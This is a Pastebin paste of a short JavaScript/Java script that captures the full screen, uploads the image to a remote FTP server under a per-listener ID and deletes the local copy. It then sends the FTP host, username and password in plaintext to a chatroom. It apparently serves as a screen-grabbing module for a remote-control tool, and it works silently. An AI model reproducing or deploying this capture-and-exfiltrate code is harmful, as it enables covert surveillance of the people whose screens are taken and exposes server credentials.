Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Take, compress, upload and delete Screenshot
- * req Java 8
- */
- //IMPORTS
- var File = Packages.java.io.File;
- var Robot = Packages.java.awt.Robot;
- var Rect = Packages.java.awt.Rectangle;
- var ImageIO = Packages.javax.imageio.ImageIO;
- var GraphicsEnvironment = Packages.java.awt.GraphicsEnvironment;
- var FTPServer = Packages.ftp.FTPServer;
- var JsonObject = Packages.com.google.gson.JsonObject;
- var Prim = Packages.com.google.gson.JsonPrimitive;
- var URLDecoder = Packages.java.net.URLDecoder;
- //CODE
- var device = GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice();
- var robot = new Robot();
- //take Screenshot
- var img = robot.createScreenCapture(new Rect(0, 0, device.getDisplayMode().getWidth(), device.getDisplayMode().getHeight()));
- //save to file
- // Fixed curdir != jar dir
- var jardir = "";
- try{
- jardir = URLDecoder.decode(java.lang.ClassLoader.getSystemClassLoader().getResource(".").getPath(), "UTF-8");
- }catch(e){
- e.printStackTrace();
- }
- var screenshot = new File(jardir + "/sreenshot.png");
- //TODO compression
- ImageIO.write(img, "jpg", screenshot);
- //upload
- var server = FTPServer.servers.get("default");
- try{
- var remote = "/htdocs/remote/" + listener.UUID + ".jpg";
- server.Upload(screenshot, remote);
- } catch(e){
- }
- //delete
- screenshot.delete();
- //done
- var json = new JsonObject();
- json.add("remote", new Prim(remote));
- json.add("host", new Prim(server.host));
- json.add("username", new Prim(server.username));
- json.add("password", new Prim(server.password));
- chatroom.sendMessage(listener.UUID + "#image" +json.toString());
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement